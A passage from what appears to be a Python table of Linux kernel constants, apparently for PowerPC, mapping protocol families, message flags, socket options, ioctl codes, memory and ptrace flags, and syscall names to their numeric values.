Constant('PF_ROSE',11)\nPF_DECnet = Constant('PF_DECnet',12)\nPF_NETBEUI = Constant('PF_NETBEUI',13)\nPF_SECURITY = Constant('PF_SECURITY',14)\nPF_KEY = Constant('PF_KEY',15)\nPF_NETLINK = Constant('PF_NETLINK',16)\nPF_ROUTE = Constant('PF_ROUTE',16)\nPF_PACKET = Constant('PF_PACKET',17)\nPF_ASH = Constant('PF_ASH',18)\nPF_ECONET = Constant('PF_ECONET',19)\nPF_ATMSVC = Constant('PF_ATMSVC',20)\nPF_SNA = Constant('PF_SNA',22)\nPF_IRDA = Constant('PF_IRDA',23)\nPF_PPPOX = Constant('PF_PPPOX',24)\nPF_WANPIPE = Constant('PF_WANPIPE',25)\nPF_LLC = Constant('PF_LLC',26)\nPF_IB = Constant('PF_IB',27)\nPF_MPLS = Constant('PF_MPLS',28)\nPF_CAN = Constant('PF_CAN',29)\nPF_TIPC = Constant('PF_TIPC',30)\nPF_BLUETOOTH = Constant('PF_BLUETOOTH',31)\nPF_IUCV = Constant('PF_IUCV',32)\nPF_RXRPC = Constant('PF_RXRPC',33)\nPF_ISDN = Constant('PF_ISDN',34)\nPF_PHONET = Constant('PF_PHONET',35)\nPF_IEEE802154 = Constant('PF_IEEE802154',36)\nPF_CAIF = Constant('PF_CAIF',37)\nPF_ALG = Constant('PF_ALG',38)\nPF_NFC = Constant('PF_NFC',39)\nPF_VSOCK = Constant('PF_VSOCK',40)\nPF_KCM = Constant('PF_KCM',41)\nPF_QIPCRTR = Constant('PF_QIPCRTR',42)\nPF_SMC = Constant('PF_SMC',43)\nPF_MAX = Constant('PF_MAX',44)\nSOMAXCONN = Constant('SOMAXCONN',128)\nMSG_OOB = Constant('MSG_OOB',1)\nMSG_PEEK = Constant('MSG_PEEK',2)\nMSG_DONTROUTE = Constant('MSG_DONTROUTE',4)\nMSG_TRYHARD = Constant('MSG_TRYHARD',4)\nMSG_CTRUNC = Constant('MSG_CTRUNC',8)\nMSG_PROBE = Constant('MSG_PROBE',0x10)\nMSG_TRUNC = Constant('MSG_TRUNC',0x20)\nMSG_DONTWAIT = Constant('MSG_DONTWAIT',0x40)\nMSG_EOR = Constant('MSG_EOR',0x80)\nMSG_WAITALL = Constant('MSG_WAITALL',0x100)\nMSG_FIN = Constant('MSG_FIN',0x200)\nMSG_SYN = Constant('MSG_SYN',0x400)\nMSG_CONFIRM = Constant('MSG_CONFIRM',0x800)\nMSG_RST = Constant('MSG_RST',0x1000)\nMSG_ERRQUEUE = Constant('MSG_ERRQUEUE',0x2000)\nMSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x4000)\nMSG_MORE = Constant('MSG_MORE',0x8000)\nMSG_WAITFORONE = Constant('MSG_WAITFORONE',0x10000)\nMSG_SENDPAGE_NOTLAST = Constant('MSG_SENDPAGE_NOTLAST',0x20000)\nMSG_BATCH = Constant('MSG_BATCH',0x40000)\nMSG_EOF = Constant('MSG_EOF',0x200)\nMSG_ZEROCOPY = Constant('MSG_ZEROCOPY',0x4000000)\nMSG_FASTOPEN = Constant('MSG_FASTOPEN',0x20000000)\nMSG_CMSG_CLOEXEC = Constant('MSG_CMSG_CLOEXEC',0x40000000)\nSOL_IP = Constant('SOL_IP',0)\nSOL_TCP = Constant('SOL_TCP',6)\nSOL_UDP = Constant('SOL_UDP',17)\nSOL_IPV6 = Constant('SOL_IPV6',41)\nSOL_ICMPV6 = Constant('SOL_ICMPV6',58)\nSOL_SCTP = Constant('SOL_SCTP',132)\nSOL_UDPLITE = Constant('SOL_UDPLITE',136)\nSOL_RAW = Constant('SOL_RAW',255)\nSOL_IPX = Constant('SOL_IPX',256)\nSOL_AX25 = Constant('SOL_AX25',257)\nSOL_ATALK = Constant('SOL_ATALK',258)\nSOL_NETROM = Constant('SOL_NETROM',259)\nSOL_ROSE = Constant('SOL_ROSE',260)\nSOL_DECNET = Constant('SOL_DECNET',261)\nSOL_X25 = Constant('SOL_X25',262)\nSOL_PACKET = Constant('SOL_PACKET',263)\nSOL_ATM = Constant('SOL_ATM',264)\nSOL_AAL = Constant('SOL_AAL',265)\nSOL_IRDA = Constant('SOL_IRDA',266)\nSOL_NETBEUI = Constant('SOL_NETBEUI',267)\nSOL_LLC = Constant('SOL_LLC',268)\nSOL_DCCP = Constant('SOL_DCCP',269)\nSOL_NETLINK = Constant('SOL_NETLINK',270)\nSOL_TIPC = Constant('SOL_TIPC',271)\nSOL_RXRPC = Constant('SOL_RXRPC',272)\nSOL_PPPOL2TP = Constant('SOL_PPPOL2TP',273)\nSOL_BLUETOOTH = Constant('SOL_BLUETOOTH',274)\nSOL_PNPIPE = Constant('SOL_PNPIPE',275)\nSOL_RDS = Constant('SOL_RDS',276)\nSOL_IUCV = Constant('SOL_IUCV',277)\nSOL_CAIF = Constant('SOL_CAIF',278)\nSOL_ALG = Constant('SOL_ALG',279)\nSOL_NFC = Constant('SOL_NFC',280)\nSOL_KCM = Constant('SOL_KCM',281)\nSOL_TLS = Constant('SOL_TLS',282)\nIPX_TYPE = Constant('IPX_TYPE',1)\nSHUT_RD = Constant('SHUT_RD',0)\nSHUT_WR = Constant('SHUT_WR',1)\nSHUT_RDWR = Constant('SHUT_RDWR',2)\nNI_NOFQDN = Constant('NI_NOFQDN',1)\nNI_NUMERICHOST = Constant('NI_NUMERICHOST',2)\nNI_NAMEREQD = Constant('NI_NAMEREQD',4)\nNI_NUMERICSERV = Constant('NI_NUMERICSERV',8)\nNI_DGRAM = Constant('NI_DGRAM',16)\nEAI_FAMILY = Constant('EAI_FAMILY',-1)\nEAI_SOCKTYPE = Constant('EAI_SOCKTYPE',-2)\nEAI_BADFLAGS = Constant('EAI_BADFLAGS',-3)\nEAI_NONAME = Constant('EAI_NONAME',-4)\nEAI_SERVICE = Constant('EAI_SERVICE',-5)\nEAI_ADDRFAMILY = Constant('EAI_ADDRFAMILY',-6)\nEAI_NODATA = Constant('EAI_NODATA',-7)\nEAI_MEMORY = Constant('EAI_MEMORY',-8)\nEAI_FAIL = Constant('EAI_FAIL',-9)\nEAI_AGAIN = Constant('EAI_AGAIN',-10)\nEAI_SYSTEM = Constant('EAI_SYSTEM',-11)\nAI_NUMERICHOST = Constant('AI_NUMERICHOST',1)\nAI_CANONNAME = Constant('AI_CANONNAME',2)\nAI_PASSIVE = Constant('AI_PASSIVE',4)\nAI_NUMERICSERV = Constant('AI_NUMERICSERV',8)\nAI_ADDRCONFIG = Constant('AI_ADDRCONFIG',16)\nAI_V4MAPPED = Constant('AI_V4MAPPED',32)\nAI_ALL = Constant('AI_ALL',64)\nSIOCADDRT = Constant('SIOCADDRT',0x890B)\nSIOCDELRT = Constant('SIOCDELRT',0x890C)\nSIOCRTMSG = Constant('SIOCRTMSG',0x890D)\nSIOCGIFNAME = Constant('SIOCGIFNAME',0x8910)\nSIOCSIFLINK = Constant('SIOCSIFLINK',0x8911)\nSIOCGIFCONF = Constant('SIOCGIFCONF',0x8912)\nSIOCGIFFLAGS = Constant('SIOCGIFFLAGS',0x8913)\nSIOCSIFFLAGS = Constant('SIOCSIFFLAGS',0x8914)\nSIOCGIFADDR = Constant('SIOCGIFADDR',0x8915)\nSIOCSIFADDR = Constant('SIOCSIFADDR',0x8916)\nSIOCGIFDSTADDR = Constant('SIOCGIFDSTADDR',0x8917)\nSIOCSIFDSTADDR = Constant('SIOCSIFDSTADDR',0x8918)\nSIOCGIFBRDADDR = Constant('SIOCGIFBRDADDR',0x8919)\nSIOCSIFBRDADDR = Constant('SIOCSIFBRDADDR',0x891a)\nSIOCGIFNETMASK = Constant('SIOCGIFNETMASK',0x891b)\nSIOCSIFNETMASK = Constant('SIOCSIFNETMASK',0x891c)\nSIOCGIFMETRIC = Constant('SIOCGIFMETRIC',0x891d)\nSIOCSIFMETRIC = Constant('SIOCSIFMETRIC',0x891e)\nSIOCGIFMEM = Constant('SIOCGIFMEM',0x891f)\nSIOCSIFMEM = Constant('SIOCSIFMEM',0x8920)\nSIOCGIFMTU = Constant('SIOCGIFMTU',0x8921)\nSIOCSIFMTU = Constant('SIOCSIFMTU',0x8922)\nSIOCSIFNAME = Constant('SIOCSIFNAME',0x8923)\nSIOCSIFHWADDR = Constant('SIOCSIFHWADDR',0x8924)\nSIOCGIFENCAP = Constant('SIOCGIFENCAP',0x8925)\nSIOCSIFENCAP = Constant('SIOCSIFENCAP',0x8926)\nSIOCGIFHWADDR = Constant('SIOCGIFHWADDR',0x8927)\nSIOCGIFSLAVE = Constant('SIOCGIFSLAVE',0x8929)\nSIOCSIFSLAVE = Constant('SIOCSIFSLAVE',0x8930)\nSIOCADDMULTI = Constant('SIOCADDMULTI',0x8931)\nSIOCDELMULTI = Constant('SIOCDELMULTI',0x8932)\nSIOCGIFINDEX = Constant('SIOCGIFINDEX',0x8933)\nSIOGIFINDEX = Constant('SIOGIFINDEX',0x8933)\nSIOCSIFPFLAGS = Constant('SIOCSIFPFLAGS',0x8934)\nSIOCGIFPFLAGS = Constant('SIOCGIFPFLAGS',0x8935)\nSIOCDIFADDR = Constant('SIOCDIFADDR',0x8936)\nSIOCSIFHWBROADCAST = Constant('SIOCSIFHWBROADCAST',0x8937)\nSIOCGIFCOUNT = Constant('SIOCGIFCOUNT',0x8938)\nSIOCGIFBR = Constant('SIOCGIFBR',0x8940)\nSIOCSIFBR = Constant('SIOCSIFBR',0x8941)\nSIOCGIFTXQLEN = Constant('SIOCGIFTXQLEN',0x8942)\nSIOCSIFTXQLEN = Constant('SIOCSIFTXQLEN',0x8943)\nSIOCGIFDIVERT = Constant('SIOCGIFDIVERT',0x8944)\nSIOCSIFDIVERT = Constant('SIOCSIFDIVERT',0x8945)\nSIOCETHTOOL = Constant('SIOCETHTOOL',0x8946)\nSIOCDARP = Constant('SIOCDARP',0x8953)\nSIOCGARP = Constant('SIOCGARP',0x8954)\nSIOCSARP = Constant('SIOCSARP',0x8955)\nSIOCDRARP = Constant('SIOCDRARP',0x8960)\nSIOCGRARP = Constant('SIOCGRARP',0x8961)\nSIOCSRARP = Constant('SIOCSRARP',0x8962)\nSIOCGIFMAP = Constant('SIOCGIFMAP',0x8970)\nSIOCSIFMAP = Constant('SIOCSIFMAP',0x8971)\nSIOCADDDLCI = Constant('SIOCADDDLCI',0x8980)\nSIOCDELDLCI = Constant('SIOCDELDLCI',0x8981)\nSIOCDEVPRIVATE = Constant('SIOCDEVPRIVATE',0x89F0)\nF_LINUX_SPECIFIC_BASE = Constant('F_LINUX_SPECIFIC_BASE',1024)\nF_SETOWN_EX = Constant('F_SETOWN_EX',15)\nF_GETOWN_EX = Constant('F_GETOWN_EX',16)\nF_GETOWNER_UIDS = Constant('F_GETOWNER_UIDS',17)\nF_OFD_GETLK = Constant('F_OFD_GETLK',36)\nF_OFD_SETLK = Constant('F_OFD_SETLK',37)\nF_OFD_SETLKW = Constant('F_OFD_SETLKW',38)\nF_OWNER_TID = Constant('F_OWNER_TID',0)\nF_OWNER_PID = Constant('F_OWNER_PID',1)\nF_OWNER_PGRP = Constant('F_OWNER_PGRP',2)\nAT_FDCWD = Constant('AT_FDCWD',-100)\nAT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x100)\nAT_REMOVEDIR = Constant('AT_REMOVEDIR',0x200)\nAT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400)\nAT_NO_AUTOMOUNT = Constant('AT_NO_AUTOMOUNT',0x800)\nAT_EMPTY_PATH = Constant('AT_EMPTY_PATH',0x1000)\nAT_EACCESS = Constant('AT_EACCESS',0x200)\nMREMAP_MAYMOVE = Constant('MREMAP_MAYMOVE',1)\nMREMAP_FIXED = Constant('MREMAP_FIXED',2)\nPROT_READ = Constant('PROT_READ',0x1)\nPROT_WRITE = Constant('PROT_WRITE',0x2)\nPROT_EXEC = Constant('PROT_EXEC',0x4)\nPROT_SEM = Constant('PROT_SEM',0x8)\nPROT_NONE = Constant('PROT_NONE',0x0)\nPROT_GROWSDOWN = Constant('PROT_GROWSDOWN',0x01000000)\nPROT_GROWSUP = Constant('PROT_GROWSUP',0x02000000)\nMAP_SHARED = Constant('MAP_SHARED',0x01)\nMAP_PRIVATE = Constant('MAP_PRIVATE',0x02)\nMAP_TYPE = Constant('MAP_TYPE',0xf)\nMADV_REMOVE = Constant('MADV_REMOVE',9)\nMADV_DONTFORK = Constant('MADV_DONTFORK',10)\nMADV_DOFORK = Constant('MADV_DOFORK',11)\nMADV_MERGEABLE = Constant('MADV_MERGEABLE',12)\nMADV_UNMERGEABLE = Constant('MADV_UNMERGEABLE',13)\nMADV_HUGEPAGE = Constant('MADV_HUGEPAGE',14)\nMADV_NOHUGEPAGE = Constant('MADV_NOHUGEPAGE',15)\nMADV_DONTDUMP = Constant('MADV_DONTDUMP',16)\nMADV_DODUMP = Constant('MADV_DODUMP',17)\nMADV_HWPOISON = Constant('MADV_HWPOISON',100)\nMADV_SOFT_OFFLINE = Constant('MADV_SOFT_OFFLINE',101)\nMLOCK_ONFAULT = Constant('MLOCK_ONFAULT',1)\nMAP_FILE = Constant('MAP_FILE',0)\nPTRACE_TRACEME = Constant('PTRACE_TRACEME',0)\nPTRACE_PEEKTEXT = Constant('PTRACE_PEEKTEXT',1)\nPTRACE_PEEKDATA = Constant('PTRACE_PEEKDATA',2)\nPTRACE_PEEKUSR = Constant('PTRACE_PEEKUSR',3)\nPTRACE_PEEKUSER = Constant('PTRACE_PEEKUSER',3)\nPTRACE_POKETEXT = Constant('PTRACE_POKETEXT',4)\nPTRACE_POKEDATA = Constant('PTRACE_POKEDATA',5)\nPTRACE_POKEUSR = Constant('PTRACE_POKEUSR',6)\nPTRACE_POKEUSER = Constant('PTRACE_POKEUSER',6)\nPTRACE_CONT = Constant('PTRACE_CONT',7)\nPTRACE_KILL = Constant('PTRACE_KILL',8)\nPTRACE_SINGLESTEP = Constant('PTRACE_SINGLESTEP',9)\nPTRACE_ATTACH = Constant('PTRACE_ATTACH',0x10)\nPTRACE_DETACH = Constant('PTRACE_DETACH',0x11)\nPTRACE_SYSCALL = Constant('PTRACE_SYSCALL',24)\nPTRACE_GETEVENTMSG = Constant('PTRACE_GETEVENTMSG',0x4201)\nPTRACE_GETSIGINFO = Constant('PTRACE_GETSIGINFO',0x4202)\nPTRACE_SETSIGINFO = Constant('PTRACE_SETSIGINFO',0x4203)\nPTRACE_O_TRACESYSGOOD = Constant('PTRACE_O_TRACESYSGOOD',0x00000001)\nPTRACE_O_TRACEFORK = Constant('PTRACE_O_TRACEFORK',0x00000002)\nPTRACE_O_TRACEVFORK = Constant('PTRACE_O_TRACEVFORK',0x00000004)\nPTRACE_O_TRACECLONE = Constant('PTRACE_O_TRACECLONE',0x00000008)\nPTRACE_O_TRACEEXEC = Constant('PTRACE_O_TRACEEXEC',0x00000010)\nPTRACE_O_TRACEVFORKDONE = Constant('PTRACE_O_TRACEVFORKDONE',0x00000020)\nPTRACE_O_TRACEEXIT = Constant('PTRACE_O_TRACEEXIT',0x00000040)\nPTRACE_O_MASK = Constant('PTRACE_O_MASK',0x0000007f)\nPTRACE_EVENT_FORK = Constant('PTRACE_EVENT_FORK',1)\nPTRACE_EVENT_VFORK = Constant('PTRACE_EVENT_VFORK',2)\nPTRACE_EVENT_CLONE = Constant('PTRACE_EVENT_CLONE',3)\nPTRACE_EVENT_EXEC = Constant('PTRACE_EVENT_EXEC',4)\nPTRACE_EVENT_VFORK_DONE = Constant('PTRACE_EVENT_VFORK_DONE',5)\nPTRACE_EVENT_EXIT = Constant('PTRACE_EVENT_EXIT',6)\nPT_TRACE_ME = Constant('PT_TRACE_ME',0)\nPT_READ_I = Constant('PT_READ_I',1)\nPT_READ_D = Constant('PT_READ_D',2)\nPT_READ_U = Constant('PT_READ_U',3)\nPT_WRITE_I = Constant('PT_WRITE_I',4)\nPT_WRITE_D = Constant('PT_WRITE_D',5)\nPT_WRITE_U = Constant('PT_WRITE_U',6)\nPT_CONTINUE = Constant('PT_CONTINUE',7)\nPT_KILL = Constant('PT_KILL',8)\nPT_STEP = Constant('PT_STEP',9)\nPT_ATTACH = Constant('PT_ATTACH',0x10)\nPT_DETACH = Constant('PT_DETACH',0x11)\nSYS_accept = Constant('SYS_accept',330)\nSYS_accept4 = Constant('SYS_accept4',344)\nSYS_access = Constant('SYS_access',33)\nSYS_acct = Constant('SYS_acct',51)\nSYS_add_key = Constant('SYS_add_key',269)\nSYS_adjtimex = Constant('SYS_adjtimex',124)\nSYS_afs_syscall = Constant('SYS_afs_syscall',137)\nSYS_alarm = Constant('SYS_alarm',27)\nSYS_bdflush = Constant('SYS_bdflush',134)\nSYS_bind = Constant('SYS_bind',327)\nSYS_bpf = Constant('SYS_bpf',361)\nSYS_break = Constant('SYS_break',17)\nSYS_brk = Constant('SYS_brk',45)\nSYS_capget = Constant('SYS_capget',183)\nSYS_capset = Constant('SYS_capset',184)\nSYS_chdir = Constant('SYS_chdir',12)\nSYS_chmod = Constant('SYS_chmod',15)\nSYS_chown = Constant('SYS_chown',181)\nSYS_chroot = Constant('SYS_chroot',61)\nSYS_clock_adjtime = Constant('SYS_clock_adjtime',347)\nSYS_clock_getres = Constant('SYS_clock_getres',247)\nSYS_clock_gettime = Constant('SYS_clock_gettime',246)\nSYS_clock_nanosleep = Constant('SYS_clock_nanosleep',248)\nSYS_clock_settime = Constant('SYS_clock_settime',245)\nSYS_clone = Constant('SYS_clone',120)\nSYS_clone3 = Constant('SYS_clone3',435)\nSYS_close = Constant('SYS_close',6)\nSYS_connect = Constant('SYS_connect',328)\nSYS_copy_file_range = Constant('SYS_copy_file_range',379)\nSYS_creat = Constant('SYS_creat',8)\nSYS_create_module = Constant('SYS_create_module',127)\nSYS_delete_module = Constant('SYS_delete_module',129)\nSYS_dup = Constant('SYS_dup',41)\nSYS_dup2 = Constant('SYS_dup2',63)\nSYS_dup3 = Constant('SYS_dup3',316)\nSYS_epoll_create = Constant('SYS_epoll_create',236)\nSYS_epoll_create1 = Constant('SYS_epoll_create1',315)\nSYS_epoll_ctl = Constant('SYS_epoll_ctl',237)\nSYS_epoll_pwait = Constant('SYS_epoll_pwait',303)\nSYS_epoll_wait = Constant('SYS_epoll_wait',238)\nSYS_eventfd = Constant('SYS_eventfd',307)\nSYS_eventfd2 = Constant('SYS_eventfd2',314)\nSYS_execve = Constant('SYS_execve',11)\nSYS_execveat = Constant('SYS_execveat',362)\nSYS_exit = Constant('SYS_exit',1)\nSYS_exit_group = Constant('SYS_exit_group',234)\nSYS_faccessat = Constant('SYS_faccessat',298)\nSYS_fadvise64 = Constant('SYS_fadvise64',233)\nSYS_fallocate = Constant('SYS_fallocate',309)\nSYS_fanotify_init = Constant('SYS_fanotify_init',323)\nSYS_fanotify_mark = Constant('SYS_fanotify_mark',324)\nSYS_fchdir = Constant('SYS_fchdir',133)\nSYS_fchmod = Constant('SYS_fchmod',94)\nSYS_fchmodat = Constant('SYS_fchmodat',297)\nSYS_fchown = Constant('SYS_fchown',95)\nSYS_fchownat = Constant('SYS_fchownat',289)\nSYS_fcntl = Constant('SYS_fcntl',55)\nSYS_fdatasync = Constant('SYS_fdatasync',148)\nSYS_fgetxattr = Constant('SYS_fgetxattr',214)\nSYS_finit_module = Constant('SYS_finit_module',353)\nSYS_flistxattr = Constant('SYS_flistxattr',217)\nSYS_flock = Constant('SYS_flock',143)\nSYS_fork = Constant('SYS_fork',2)\nSYS_fremovexattr = Constant('SYS_fremovexattr',220)\nSYS_fsconfig = Constant('SYS_fsconfig',431)\nSYS_fsetxattr = Constant('SYS_fsetxattr',211)\nSYS_fsmount = Constant('SYS_fsmount',432)\nSYS_fsopen = Constant('SYS_fsopen',430)\nSYS_fspick = Constant('SYS_fspick',433)\nSYS_fstat = Constant('SYS_fstat',108)\nSYS_fstatfs = Constant('SYS_fstatfs',100)\nSYS_fstatfs64 = Constant('SYS_fstatfs64',253)\nSYS_fsync = Constant('SYS_fsync',118)\nSYS_ftime = Constant('SYS_ftime',35)\nSYS_ftruncate = Constant('SYS_ftruncate',93)\nSYS_futex = Constant('SYS_futex',221)\nSYS_futimesat = Constant('SYS_futimesat',290)\nSYS_getcpu = Constant('SYS_getcpu',302)\nSYS_getcwd = Constant('SYS_getcwd',182)\nSYS_getdents = Constant('SYS_getdents',141)\nSYS_getdents64 = Constant('SYS_getdents64',202)\nSYS_getegid = Constant('SYS_getegid',50)\nSYS_geteuid = Constant('SYS_geteuid',49)\nSYS_getgid = Constant('SYS_getgid',47)\nSYS_getgroups = Constant('SYS_getgroups',80)\nSYS_getitimer = Constant('SYS_getitimer',105)\nSYS_get_kernel_syms = Constant('SYS_get_kernel_syms',130)\nSYS_get_mempolicy = Constant('SYS_get_mempolicy',260)\nSYS_getpeername = Constant('SYS_getpeername',332)\nSYS_getpgid = Constant('SYS_getpgid',132)\nSYS_getpgrp = Constant('SYS_getpgrp',65)\nSYS_getpid = Constant('SYS_getpid',20)\nSYS_getpmsg = Constant('SYS_getpmsg',187)\nSYS_getppid = Constant('SYS_getppid',64)\nSYS_getpriority = Constant('SYS_getpriority',96)\nSYS_getrandom = Constant('SYS_getrandom',359)\nSYS_getresgid = Constant('SYS_getresgid',170)\nSYS_getresuid = Constant('SYS_getresuid',165)\nSYS_getrlimit = Constant('SYS_getrlimit',76)\nSYS_get_robust_list = Constant('SYS_get_robust_list',299)\nSYS_getrusage = Constant('SYS_getrusage',77)\nSYS_getsid = Constant('SYS_getsid',147)\nSYS_getsockname = Constant('SYS_getsockname',331)\nSYS_getsockopt = Constant('SYS_getsockopt',340)\nSYS_gettid = Constant('SYS_gettid',207)\nSYS_gettimeofday = Constant('SYS_gettimeofday',78)\nSYS_getuid = Constant('SYS_getuid',24)\nSYS_getxattr = Constant('SYS_getxattr',212)\nSYS_gtty = Constant('SYS_gtty',32)\nSYS_idle = Constant('SYS_idle',112)\nSYS_init_module = Constant('SYS_init_module',128)\nSYS_inotify_add_watch = Constant('SYS_inotify_add_watch',276)\nSYS_inotify_init = Constant('SYS_inotify_init',275)\nSYS_inotify_init1 = Constant('SYS_inotify_init1',318)\nSYS_inotify_rm_watch = Constant('SYS_inotify_rm_watch',277)\nSYS_io_cancel = Constant('SYS_io_cancel',231)\nSYS_ioctl = Constant('SYS_ioctl',54)\nSYS_io_destroy = Constant('SYS_io_destroy',228)\nSYS_io_getevents = Constant('SYS_io_getevents',229)\nSYS_ioperm = Constant('SYS_ioperm',101)\nSYS_io_pgetevents = Constant('SYS_io_pgetevents',388)\nSYS_iopl = Constant('SYS_iopl',110)\nSYS_ioprio_get = Constant('SYS_ioprio_get',274)\nSYS_ioprio_set = Constant('SYS_ioprio_set',273)\nSYS_io_setup = Constant('SYS_io_setup',227)\nSYS_io_submit = Constant('SYS_io_submit',230)\nSYS_io_uring_enter = Constant('SYS_io_uring_enter',426)\nSYS_io_uring_register = Constant('SYS_io_uring_register',427)\nSYS_io_uring_setup = Constant('SYS_io_uring_setup',425)\nSYS_ipc = Constant('SYS_ipc',117)\nSYS_kcmp = Constant('SYS_kcmp',354)\nSYS_kexec_file_load = Constant('SYS_kexec_file_load',382)\nSYS_kexec_load = Constant('SYS_kexec_load',268)\nSYS_keyctl = Constant('SYS_keyctl',271)\nSYS_kill = Constant('SYS_kill',37)\nSYS_lchown = Constant('SYS_lchown',16)\nSYS_lgetxattr = Constant('SYS_lgetxattr',213)\nSYS_link = Constant('SYS_link',9)\nSYS_linkat = Constant('SYS_linkat',294)\nSYS_listen = Constant('SYS_listen',329)\nSYS_listxattr = Constant('SYS_listxattr',215)\nSYS_llistxattr = Constant('SYS_llistxattr',216)\nSYS__llseek = Constant('SYS__llseek',140)\nSYS_lock = Constant('SYS_lock',53)\nSYS_lookup_dcookie = Constant('SYS_lookup_dcookie',235)\nSYS_lremovexattr = Constant('SYS_lremovexattr',219)\nSYS_lseek = Constant('SYS_lseek',19)\nSYS_lsetxattr = Constant('SYS_lsetxattr',210)\nSYS_lstat = Constant('SYS_lstat',107)\nSYS_madvise = Constant('SYS_madvise',205)\nSYS_mbind = Constant('SYS_mbind',259)\nSYS_membarrier = Constant('SYS_membarrier',365)\nSYS_memfd_create = Constant('SYS_memfd_create',360)\nSYS_mincore = Constant('SYS_mincore',206)\nSYS_mkdir = Constant('SYS_mkdir',39)\nSYS_mkdirat = Constant('SYS_mkdirat',287)\nSYS_mknod = Constant('SYS_mknod',14)\nSYS_mknodat = Constant('SYS_mknodat',288)\nSYS_mlock = Constant('SYS_mlock',150)\nSYS_mlock2 = Constant('SYS_mlock2',378)\nSYS_mlockall = Constant('SYS_mlockall',152)\nSYS_mmap = Constant('SYS_mmap',90)\nSYS_modify_ldt = Constant('SYS_modify_ldt',123)\nSYS_mount = Constant('SYS_mount',21)\nSYS_move_mount = Constant('SYS_move_mount',429)\nSYS_move_pages = Constant('SYS_move_pages',301)\nSYS_mprotect = Constant('SYS_mprotect',125)\nSYS_mpx = Constant('SYS_mpx',56)\nSYS_mq_getsetattr = Constant('SYS_mq_getsetattr',267)\nSYS_mq_notify = Constant('SYS_mq_notify',266)\nSYS_mq_open = Constant('SYS_mq_open',262)\nSYS_mq_timedreceive = Constant('SYS_mq_timedreceive',265)\nSYS_mq_timedsend = Constant('SYS_mq_timedsend',264)\nSYS_mq_unlink = Constant('SYS_mq_unlink',263)\nSYS_mremap = Constant('SYS_mremap',163)\nSYS_msgctl = Constant('SYS_msgctl',402)\nSYS_msgget = Constant('SYS_msgget',399)\nSYS_msgrcv = Constant('SYS_msgrcv',401)\nSYS_msgsnd = Constant('SYS_msgsnd',400)\nSYS_msync = Constant('SYS_msync',144)\nSYS_multiplexer = Constant('SYS_multiplexer',201)\nSYS_munlock = Constant('SYS_munlock',151)\nSYS_munlockall = Constant('SYS_munlockall',153)\nSYS_munmap = Constant('SYS_munmap',91)\nSYS_name_to_handle_at = Constant('SYS_name_to_handle_at',345)\nSYS_nanosleep = Constant('SYS_nanosleep',162)\nSYS_newfstatat = Constant('SYS_newfstatat',291)\nSYS__newselect = Constant('SYS__newselect',142)\nSYS_nfsservctl = Constant('SYS_nfsservctl',168)\nSYS_nice = Constant('SYS_nice',34)\nSYS_oldfstat = Constant('SYS_oldfstat',28)\nSYS_oldlstat = Constant('SYS_oldlstat',84)\nSYS_oldolduname = Constant('SYS_oldolduname',59)\nSYS_oldstat = Constant('SYS_oldstat',18)\nSYS_olduname = Constant('SYS_olduname',109)\nSYS_open = Constant('SYS_open',5)\nSYS_openat = Constant('SYS_openat',286)\nSYS_openat2 = Constant('SYS_openat2',437)\nSYS_open_by_handle_at = Constant('SYS_open_by_handle_at',346)\nSYS_open_tree = Constant('SYS_open_tree',428)\nSYS_pause = Constant('SYS_pause',29)\nSYS_pciconfig_iobase = Constant('SYS_pciconfig_iobase',200)\nSYS_pciconfig_read = Constant('SYS_pciconfig_read',198)\nSYS_pciconfig_write = Constant('SYS_pciconfig_write',199)\nSYS_perf_event_open = Constant('SYS_perf_event_open',319)\nSYS_personality = Constant('SYS_personality',136)\nSYS_pidfd_getfd = Constant('SYS_pidfd_getfd',438)\nSYS_pidfd_open = Constant('SYS_pidfd_open',434)\nSYS_pidfd_send_signal = Constant('SYS_pidfd_send_signal',424)\nSYS_pipe = Constant('SYS_pipe',42)\nSYS_pipe2 = Constant('SYS_pipe2',317)\nSYS_pivot_root = Constant('SYS_pivot_root',203)\nSYS_pkey_alloc = Constant('SYS_pkey_alloc',384)\nSYS_pkey_free = Constant('SYS_pkey_free',385)\nSYS_pkey_mprotect = Constant('SYS_pkey_mprotect',386)\nSYS_poll = Constant('SYS_poll',167)\nSYS_ppoll = Constant('SYS_ppoll',281)\nSYS_prctl = Constant('SYS_prctl',171)\nSYS_pread = Constant('SYS_pread',179)\nSYS_preadv = Constant('SYS_preadv',320)\nSYS_preadv2 = Constant('SYS_preadv2',380)\nSYS_prlimit64 = Constant('SYS_prlimit64',325)\nSYS_process_vm_readv = Constant('SYS_process_vm_readv',351)\nSYS_process_vm_writev = Constant('SYS_process_vm_writev',352)\nSYS_prof = Constant('SYS_prof',44)\nSYS_profil = Constant('SYS_profil',98)\nSYS_pselect6 = Constant('SYS_pselect6',280)\nSYS_ptrace = Constant('SYS_ptrace',26)\nSYS_putpmsg = Constant('SYS_putpmsg',188)\nSYS_pwrite = Constant('SYS_pwrite',180)\nSYS_pwritev = Constant('SYS_pwritev',321)\nSYS_pwritev2 = Constant('SYS_pwritev2',381)\nSYS_query_module = Constant('SYS_query_module',166)\nSYS_quotactl = Constant('SYS_quotactl',131)\nSYS_read = Constant('SYS_read',3)\nSYS_readahead = Constant('SYS_readahead',191)\nSYS_readdir = Constant('SYS_readdir',89)\nSYS_readlink = Constant('SYS_readlink',85)\nSYS_readlinkat = Constant('SYS_readlinkat',296)\nSYS_readv = Constant('SYS_readv',145)\nSYS_reboot = Constant('SYS_reboot',88)\nSYS_recv = Constant('SYS_recv',336)\nSYS_recvfrom = Constant('SYS_recvfrom',337)\nSYS_recvmmsg = Constant('SYS_recvmmsg',343)\nSYS_recvmsg = Constant('SYS_recvmsg',342)\nSYS_remap_file_pages = Constant('SYS_remap_file_pages',239)\nSYS_removexattr = Constant('SYS_removexattr',218)\nSYS_rename = Constant('SYS_rename',38)\nSYS_renameat = Constant('SYS_renameat',293)\nSYS_renameat2 = Constant('SYS_renameat2',357)\nSYS_request_key = Constant('SYS_request_key',270)\nSYS_rmdir = Constant('SYS_rmdir',40)\nSYS_rseq = Constant('SYS_rseq',387)\nSYS_rtas = Constant('SYS_rtas',255)\nSYS_rt_sigaction = Constant('SYS_rt_sigaction',173)\nSYS_rt_sigpending = Constant('SYS_rt_sigpending',175)\nSYS_rt_sigprocmask = Constant('SYS_rt_sigprocmask',174)\nSYS_rt_sigqueueinfo = 